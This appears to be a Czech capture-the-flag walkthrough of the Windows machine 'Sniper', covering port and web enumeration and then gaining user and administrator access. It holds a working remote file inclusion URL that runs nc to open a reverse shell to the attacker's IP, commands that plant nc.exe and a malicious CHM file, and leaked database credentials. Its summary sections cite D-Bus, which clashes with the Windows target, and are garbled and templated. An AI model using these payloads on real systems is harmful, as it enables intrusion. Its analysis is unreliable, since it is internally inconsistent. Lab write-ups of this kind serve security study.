Sniper
Úvod a kontext
U Sniper není hlavní hodnota v jednom efektním kroku, ale ve vazbě mezi SMB sdílení, D-Bus a webová aplikace v PHP.
Článek dává smysl číst hlavně jako rozbor rozhodování: proč právě tyto stopy vedou k stabilní uživatelský přístup opřený o index.php a cmd.php a proč po získání shellu dává smysl řešit lokální enumeraci po získání shellu.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
nmap -p 1-65535 -T4 -A -sC -v $IP
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
49667/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h58m52s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-11-01T19:48:24
|_ start_date: N/A
Enumerace webu
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
dirb http://$IP
+ http://10.10.10.151/index.php (CODE:200|SIZE:2635)
+ http://10.10.10.151/blog/index.php (CODE:200|SIZE:5704)
+ http://10.10.10.151/user/index.php (CODE:302|SIZE:0)
+ http://10.10.10.151/user/images/icons/favicon.ico (CODE:200|SIZE:32038)
==> DIRECTORY: http://10.10.10.151/css/
==> DIRECTORY: http://10.10.10.151/images/
==> DIRECTORY: http://10.10.10.151/js/
==> DIRECTORY: http://10.10.10.151/blog/
==> DIRECTORY: http://10.10.10.151/blog/css/
==> DIRECTORY: http://10.10.10.151/blog/js/
==> DIRECTORY: http://10.10.10.151/user/
==> DIRECTORY: http://10.10.10.151/user/css/
==> DIRECTORY: http://10.10.10.151/user/fonts/
==> DIRECTORY: http://10.10.10.151/user/images/
==> DIRECTORY: http://10.10.10.151/user/images/icons/
==> DIRECTORY: http://10.10.10.151/user/js/
==> DIRECTORY: http://10.10.10.151/user/vendor/
==> DIRECTORY: http://10.10.10.151/user/vendor/jquery/
systemctl start smbd
http://10.10.10.151/blog/?lang=\\10.10.15.134\data\cmd.php&c=\\10.10.15.134\data\exe\nc 10.10.15.134 4000 -e cmd
db.php
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
Získání přístupu
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
more user.txt
__CENSORED__
cp \\10.10.15.134\data\exe\nc.exe c:\programdata\nc.exe
cp \\10.10.15.134\data\chm\doc.chm c:\docs\instructions.chm
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
more root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Počáteční průzkum se z obecné enumerace změnil v použitelný směr teprve po propojení indicií jako SMB sdílení, D-Bus a webová aplikace v PHP.
- User část stála na ověřeném kroku typu stabilní uživatelský přístup opřený o
index.phpacmd.php, ne na odhadu bez technického potvrzení. - Závěrečná eskalace pak stála na tom, co představuje lokální enumerace po získání shellu, takže rozhodující byla práce s lokálním kontextem po footholdu.
Co si odnést do praxe
- Pokud se zanedbá oblast SMB sdílení, D-Bus a webová aplikace v PHP, vznikne stejný typ vstupu jako tady. SMB sdílení mají mít opravdu minimální ACL a průběžný audit obsahu; i read-only přístup často útočníkovi dá víc než samotná zranitelnost služby.
- Jakmile útočník ověří stabilní uživatelský přístup opřený o
index.phpacmd.php, je potřeba počítat s dlouhodobým přístupem. Jakmile se v prostředí objeví použitelný klíč, heslo nebo token, je potřeba předpokládat okamžitý pivot na stabilní shell; obrana proto stojí na segmentaci a oddělení přístupů mezi službami. - Stejně důležitá je i obrana proti mechanice lokální enumerace po získání shellu. Privilegované procesy komunikující přes D-Bus nebo podobné sběrnice musí důsledně ověřovat, kdo a s jakými parametry požadavek posílá; jinak se z pomocné automatiky stává privesc kanál.